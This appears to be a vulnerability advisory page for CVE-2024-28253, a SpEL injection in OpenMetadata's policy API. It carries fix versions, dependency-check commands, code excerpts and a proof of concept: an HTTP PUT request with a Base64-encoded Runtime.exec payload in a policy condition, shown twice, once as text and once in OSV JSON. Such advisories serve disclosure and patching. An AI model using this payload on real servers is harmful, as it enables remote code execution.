CVE-2024-28253: Openmetadata service OpenMetadata Vulnerable To SpEL Injection Vulnerability
CRITICAL
Advisory Identifier:
GHSA-7vf4-x5m2-r6gr
Advisory Summary
CVE-2024-28253 is a CRITICAL (CVSS 9.4) openmetadata vulnerable to spel injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Openmetadata service libraries in the Maven ecosystem. The issue involves openmetadata vulnerable to spel injection in `put /api/v1/policies` (`ghsl-2023-252`). Remediation is available by upgrading affected packages to version 1.3.1.
CVE-2024-28253 at a Glance
CVE Identifier
CVE-2024-28253
GHSA Identifier
GHSA-7vf4-x5m2-r6gr
Severity
CRITICAL
CVSS v3.1 Base Score
9.4
CWE Classification
CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product
Openmetadata service
Package Ecosystem
Maven
Published Date
Last Updated
Security Impact
CVSS: 9.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
Low (A:L)
How to Fix CVE-2024-28253
To remediate this vulnerability, upgrade all affected Openmetadata service dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
org.open-metadata:openmetadata-service
fixed: 1.3.1
<dependency>
<groupId>org.open-metadata</groupId>
<artifactId>openmetadata-service</artifactId>
<version>1.3.1</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.open-metadataHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-28253, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.open-metadataAnalyze the terminal output to locate any version of Openmetadata service in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.1), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.open-metadata command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Openmetadata service, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)
**Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability**
`CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113)
```java
@Override
public void prepare(Policy policy, boolean update) {
validateRules(policy);
}
...
public void validateRules(Policy policy) {
List<Rule> rules = policy.getRules();
if (nullOrEmpty(rules)) {
throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
}
// Validate all the expressions in the rule
for (Rule rule : rules) {
CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources
rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations
rule.setOperations(filterRedundantOperations(rule.getOperations()));
}
rules.sort(Comparator.comparing(Rule::getName));
}
```
`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):
```java
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
```
Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365):
```java
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
```
This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.
#### Proof of concept
- Prepare the payload
- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)
- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))`
- Send the payload using a valid JWT token:
```http
PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
```
- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server
#### Impact
This issue may lead to Remote Code Execution by a registered and authenticated user
#### Remediation
Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.
CVE-2024-28253 Affected Openmetadata service Versions
1 component(s)
Fixed Versions:
1.3.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.open-metadata:openmetadata-service
|
Maven |
< 1.3.1
|
1.3.1
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr
NVD — CVE-2024-28253
NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-28253
Openmetadata service Source Repository
REPOSITORY
https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365
Openmetadata service Source Repository
REPOSITORY
https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113
GitHub Advisory / Wiki
ADVISORY
https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata
Frequently Asked Questions
What is CVE-2024-28253?
CVE-2024-28253 is a security vulnerability in Openmetadata service involving OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Openmetadata service versions are affected?
Affected versions include releases prior to 1.3.1 across affected packages: org.open-metadata:openmetadata-service.
What version fixes CVE-2024-28253?
Upgrading to 1.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openmetadata-service affected?
Yes, org.open-metadata:openmetadata-service is affected in releases prior to 1.3.1. Upgrade your dependency to 1.3.1 or later.
What is the CVSS score of CVE-2024-28253?
CVE-2024-28253 has a CVSS v3.1 base score of 9.4 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2024-28253?
CVE-2024-28253 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Maven dependencies for CVE-2024-28253?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.open-metadata'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-7vf4-x5m2-r6gr",
"modified" : "2025-09-04T15:32:02Z",
"published" : "2024-04-23T21:11:23Z",
"aliases" : [ "CVE-2024-28253" ],
"summary" : "OpenMetadata vulnerable to SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)",
"details" : "### SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`)\n\n**Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability** \n\n`CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113)\n\n```java\n @Override\n public void prepare(Policy policy, boolean update) {\n validateRules(policy);\n }\n ...\n public void validateRules(Policy policy) {\n List<Rule> rules = policy.getRules();\n if (nullOrEmpty(rules)) {\n throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);\n }\n\n // Validate all the expressions in the rule\n for (Rule rule : rules) {\n CompiledRule.validateExpression(rule.getCondition(), Boolean.class);\n rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);\n rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));\n\n // Remove redundant resources\n rule.setResources(filterRedundantResources(rule.getResources()));\n\n // Remove redundant operations\n rule.setOperations(filterRedundantOperations(rule.getOperations()));\n }\n rules.sort(Comparator.comparing(Rule::getName));\n }\n```\n\n`prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219):\n\n```java\npublic Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {\n repository.prepareInternal(entity, true);\n\n // If entity does not exist, this is a create operation, else update operation\n ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());\n MetadataOperation operation = createOrUpdateOperation(resourceContext);\n OperationContext operationContext = new OperationContext(entityType, operation);\n if (operation == CREATE) {\n CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);\n authorizer.authorize(securityContext, operationContext, createResourceContext);\n entity = addHref(uriInfo, repository.create(uriInfo, entity));\n return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();\n }\n authorizer.authorize(securityContext, operationContext, resourceContext);\n PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);\n addHref(uriInfo, response.getEntity());\n return response.toResponse();\n}\n```\n\nNote that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated.\n\nIn order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365):\n\n```java\n@PUT\n@Operation(\n operationId = \"createOrUpdatePolicy\",\n summary = \"Create or update a policy\",\n description = \"Create a new policy, if it does not exist or update an existing policy.\",\n responses = {\n @ApiResponse(\n responseCode = \"200\",\n description = \"The policy\",\n content = @Content(mediaType = \"application/json\", schema = @Schema(implementation = Policy.class))),\n @ApiResponse(responseCode = \"400\", description = \"Bad request\")\n })\npublic Response createOrUpdate(\n @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {\n Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());\n return createOrUpdate(uriInfo, securityContext, policy);\n}\n```\n\nThis vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n\n#### Proof of concept\n- Prepare the payload\n\t- Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`)\n\t- Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n- Send the payload using a valid JWT token:\n\n```http\nPUT /api/v1/policies HTTP/1.1\nHost: localhost:8585\nsec-ch-ua: \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nAuthorization: Bearer <non-admin JWT>\naccept: application/json\nConnection: close\nContent-Type: application/json\nContent-Length: 367\n\n{\"name\":\"TeamOnlyPolicy\",\"rules\":[{\"name\":\"TeamOnlyPolicy-Rule\",\"description\":\"Deny all the operations on all the resources for all outside the team hierarchy..\",\"effect\":\"deny\",\"operations\":[\"All\"],\"resources\":[\"All\"],\"condition\":\"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))\"}]}\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.open-metadata:openmetadata-service"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.3.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28253"
}, {
"type" : "WEB",
"url" : "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-metadata/OpenMetadata"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365"
}, {
"type" : "WEB",
"url" : "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113"
}, {
"type" : "ADVISORY",
"url" : "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-04-23T21:11:23Z",
"nvd_published_at" : "2024-03-15T20:15:09Z"
}
}